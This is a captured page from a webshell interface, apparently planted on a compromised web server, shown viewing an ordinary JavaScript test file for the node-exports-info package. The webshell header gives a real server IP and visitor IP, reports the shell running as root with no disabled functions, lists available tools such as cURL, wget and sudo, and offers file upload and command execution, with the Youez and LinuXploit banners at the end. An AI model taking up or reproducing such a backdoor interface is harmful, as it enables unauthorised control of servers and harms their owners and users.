403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/node-exports-info/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/node-exports-info/test/getCategory.js
'use strict';

var test = require('tape');
var forEach = require('for-each');
var semver = require('semver');

var getCategory = require('../getCategory');
var getRange = require('../getRange');

var boundaryVersions = require('./versions');

test('getCategory', function (t) {
	t['throws'](
		function () { getCategory('not a version'); },
		RangeError,
		'invalid version throws'
	);
	t['throws'](
		function () { getCategory('^1.2.3'); },
		RangeError,
		'semver range throws'
	);

	t.doesNotThrow(
		function () { getCategory(process.version); },
		'current node version has a category'
	);

	forEach(boundaryVersions, function (version) {
		t.test('boundary version: ' + version, function (st) {
			st.test('default version', function (s2t) {
				var origVersion = process.version;
				Object.defineProperty(process, 'version', { value: version });
				s2t.teardown(function () { Object.defineProperty(process, 'version', { value: origVersion }); });

				s2t.equal(
					getCategory(),
					getCategory(version),
					'category with an explicit version matches the defaulted process.version'
				);

				s2t.end();
			});

			var range = getRange(getCategory(version));
			st.ok(
				semver.satisfies(version, range),
				'version ' + version + ' satisfies range ' + range
			);

			st.end();
		});
	});

	t.end();
});

Youez - 2016 - github.com/yon3zu
LinuXploit